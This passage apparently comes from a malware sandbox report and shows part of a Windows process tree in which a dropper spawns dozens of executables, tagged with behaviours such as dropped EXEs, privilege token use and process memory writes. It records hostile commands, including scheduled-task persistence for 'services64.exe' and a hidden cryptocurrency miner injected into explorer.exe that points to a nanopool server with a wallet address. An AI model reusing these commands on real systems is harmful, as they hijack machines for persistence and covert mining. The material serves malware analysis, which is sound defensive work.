                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6324 /prefetch:8
                                                                                                  10⤵
                                                                                                    PID:5144
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14175196936682400171,12730334350699191083,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6396 /prefetch:1
                                                                                                    10⤵
                                                                                                      PID:4356
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
                                                                                                    9⤵
                                                                                                      PID:6344
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff864cc46f8,0x7ff864cc4708,0x7ff864cc4718
                                                                                                        10⤵
                                                                                                          PID:6984
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851483
                                                                                                        9⤵
                                                                                                          PID:2696
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff864cc46f8,0x7ff864cc4708,0x7ff864cc4718
                                                                                                            10⤵
                                                                                                              PID:1756
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\62-f963f-176-c0ebf-ed30eec1a93f0\Xigysanupi.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\62-f963f-176-c0ebf-ed30eec1a93f0\Xigysanupi.exe"
                                                                                                          8⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:5760
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\benncbcz.3z3\GcleanerEU.exe /eufive & exit
                                                                                                            9⤵
                                                                                                              PID:2952
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\benncbcz.3z3\GcleanerEU.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\benncbcz.3z3\GcleanerEU.exe /eufive
                                                                                                                10⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:1380
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 236
                                                                                                                  11⤵
                                                                                                                  • Program crash
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Enumerates system info in registry
                                                                                                                  PID:3800
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2xxviiuu.5e3\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                              9⤵
                                                                                                                PID:6372
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2xxviiuu.5e3\installer.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2xxviiuu.5e3\installer.exe /qn CAMPAIGN="654"
                                                                                                                  10⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Loads dropped DLL
                                                                                                                  • Enumerates connected drives
                                                                                                                  • Modifies system certificate store
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  PID:6648
                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\2xxviiuu.5e3\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\2xxviiuu.5e3\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630643576 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                    11⤵
                                                                                                                    • Enumerates connected drives
                                                                                                                    PID:2868
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k0ohga1p.krw\anyname.exe & exit
                                                                                                                9⤵
                                                                                                                  PID:7108
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\k0ohga1p.krw\anyname.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\k0ohga1p.krw\anyname.exe
                                                                                                                    10⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:6056
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\k0ohga1p.krw\anyname.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\k0ohga1p.krw\anyname.exe" -u
                                                                                                                      11⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:2908
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rdrph1rk.1qs\BsInstFile.exe & exit
                                                                                                                  9⤵
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:3136
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\rdrph1rk.1qs\BsInstFile.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\rdrph1rk.1qs\BsInstFile.exe
                                                                                                                    10⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:5420
                                                                                                                    • C:\Users\Admin\AppData\Roaming\4616743.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\4616743.exe"
                                                                                                                      11⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4892
                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 4892 -s 2312
                                                                                                                        12⤵
                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                        • Program crash
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Enumerates system info in registry
                                                                                                                        PID:7012
                                                                                                                    • C:\Users\Admin\AppData\Roaming\4590327.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\4590327.exe"
                                                                                                                      11⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Suspicious behavior: SetClipboardViewer
                                                                                                                      PID:1420
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x32jh3rc.mmp\askinstall52.exe & exit
                                                                                                                  9⤵
                                                                                                                  • Blocklisted process makes network request
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Checks whether UAC is enabled
                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5220
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\x32jh3rc.mmp\askinstall52.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\x32jh3rc.mmp\askinstall52.exe
                                                                                                                    10⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:5676
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5676 -s 1908
                                                                                                                      11⤵
                                                                                                                      • Program crash
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      PID:6180
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qbixltax.hmc\Cleanpro13.exe & exit
                                                                                                                  9⤵
                                                                                                                    PID:2972
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\qbixltax.hmc\Cleanpro13.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\qbixltax.hmc\Cleanpro13.exe
                                                                                                                      10⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:1180
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 2108
                                                                                                                        11⤵
                                                                                                                        • Program crash
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Enumerates system info in registry
                                                                                                                        PID:1908
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tlpft1gi.gtr\gcleaner.exe /mixfive & exit
                                                                                                                    9⤵
                                                                                                                      PID:1284
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tlpft1gi.gtr\gcleaner.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\tlpft1gi.gtr\gcleaner.exe /mixfive
                                                                                                                        10⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:2800
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 236
                                                                                                                          11⤵
                                                                                                                          • Program crash
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Enumerates system info in registry
                                                                                                                          PID:6512
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mfau3ekz.0hn\autosubplayer.exe /S & exit
                                                                                                                      9⤵
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:5900
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gzraebxa.znq\installer.exe /qn CAMPAIGN=654 & exit
                                                                                                                      9⤵
                                                                                                                        PID:6292
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\gzraebxa.znq\installer.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\gzraebxa.znq\installer.exe /qn CAMPAIGN=654
                                                                                                                          10⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:6664
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2y04kfit.zfq\app.exe /8-2222 & exit
                                                                                                                        9⤵
                                                                                                                          PID:6844
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2y04kfit.zfq\app.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2y04kfit.zfq\app.exe /8-2222
                                                                                                                            10⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:6936
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 6936 -s 240
                                                                                                                              11⤵
                                                                                                                              • Program crash
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              PID:920
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c Fri15af75ee9b.exe
                                                                                                                4⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:4888
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri15af75ee9b.exe
                                                                                                                  Fri15af75ee9b.exe
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:3828
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3828 -s 284
                                                                                                                    6⤵
                                                                                                                    • Drops file in Windows directory
                                                                                                                    • Program crash
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:1180
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c Fri1553f0ee90.exe
                                                                                                                4⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:4568
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri1553f0ee90.exe
                                                                                                                  Fri1553f0ee90.exe
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:2236
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                    6⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:2096
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                                                                                                      7⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4548
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                                                                                        8⤵
                                                                                                                          PID:4248
                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                                                                                                            9⤵
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:3552
                                                                                                                        • C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                                                          "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                                          8⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                          PID:5376
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                                                                                            9⤵
                                                                                                                              PID:6284
                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                                                                                                                10⤵
                                                                                                                                • Creates scheduled task(s)
                                                                                                                                PID:6556
                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                                              9⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:6256
                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                              C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                                                                                                              9⤵
                                                                                                                                PID:3228
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                                                                                                                            7⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:4460
                                                                                                                            • C:\Users\Admin\AppData\Roaming\2902519.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\2902519.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5228
                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                C:\Windows\system32\WerFault.exe -u -p 5228 -s 2296
                                                                                                                                9⤵
                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                • Program crash
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Enumerates system info in registry
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:5168
                                                                                                                            • C:\Users\Admin\AppData\Roaming\5859906.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\5859906.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5396
                                                                                                                            • C:\Users\Admin\AppData\Roaming\8843710.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\8843710.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5568
                                                                                                                            • C:\Users\Admin\AppData\Roaming\4447160.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\4447160.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Checks whether UAC is enabled
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:2340
                                                                                                                            • C:\Users\Admin\AppData\Roaming\1411151.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\1411151.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1732
                                                                                                                            • C:\Users\Admin\AppData\Roaming\3278603.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\3278603.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5600
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 2236
                                                                                                                                9⤵
                                                                                                                                • Program crash
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Enumerates system info in registry
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:2912
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                                                                                                            7⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:452
                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                              C:\Windows\system32\WerFault.exe -u -p 452 -s 1724
                                                                                                                              8⤵
                                                                                                                              • Program crash
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:5852
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                            7⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:3300
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3300 -s 604
                                                                                                                              8⤵
                                                                                                                              • Program crash
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:5368
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Pubdate.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Pubdate.exe"
                                                                                                                            7⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:5200
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5200 -s 296
                                                                                                                              8⤵
                                                                                                                              • Program crash
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:5748
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                            7⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:5404
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-RFU76.tmp\setup_2.tmp
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-RFU76.tmp\setup_2.tmp" /SL5="$301F0,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              PID:5680
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                9⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:6104
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-VD98S.tmp\setup_2.tmp
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-VD98S.tmp\setup_2.tmp" /SL5="$401F0,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                  10⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                  PID:5236
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                                                                                                            7⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:5560
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                                                                                                              8⤵
                                                                                                                                PID:5760
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5784
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5992
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c APPNAME7.exe
                                                                                                                        4⤵
                                                                                                                          PID:4496
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c Fri155442fc38b.exe
                                                                                                                          4⤵
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:4856
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri155442fc38b.exe
                                                                                                                            Fri155442fc38b.exe
                                                                                                                            5⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:5112
                                                                                                                            • C:\Users\Admin\AppData\Roaming\1279257.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\1279257.exe"
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:2440
                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                C:\Windows\system32\WerFault.exe -u -p 2440 -s 2324
                                                                                                                                7⤵
                                                                                                                                • Program crash
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Enumerates system info in registry
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:5316
                                                                                                                            • C:\Users\Admin\AppData\Roaming\5100481.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\5100481.exe"
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Adds Run key to start application
                                                                                                                              PID:4968
                                                                                                                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                7⤵
                                                                                                                                • Suspicious behavior: SetClipboardViewer
                                                                                                                                PID:6116
                                                                                                                            • C:\Users\Admin\AppData\Roaming\3233656.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\3233656.exe"
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1368
                                                                                                                            • C:\Users\Admin\AppData\Roaming\4158650.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\4158650.exe"
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5220
                                                                                                                            • C:\Users\Admin\AppData\Roaming\6723743.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\6723743.exe"
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5444
                                                                                                                            • C:\Users\Admin\AppData\Roaming\8817294.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\8817294.exe"
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5640
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5640 -s 2484
                                                                                                                                7⤵
                                                                                                                                • Program crash
                                                                                                                                PID:3136
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c Fri156ec98815f89c.exe
                                                                                                                          4⤵
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:4644
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4A0355E3\Fri156ec98815f89c.exe
                                                                                                                    Fri156ec98815f89c.exe
                                                                                                                    1⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:4972
                                                                                                                  • C:\Windows\System32\sihclient.exe
                                                                                                                    C:\Windows\System32\sihclient.exe /cv hT4RkUrQU0KJr6hWfqbv1w.0.2
                                                                                                                    1⤵
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:4656
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3828 -ip 3828
                                                                                                                    1⤵
                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:344
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4448 -ip 4448
                                                                                                                    1⤵
                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:960
                                                                                                                  • C:\Windows\system32\rundll32.exe
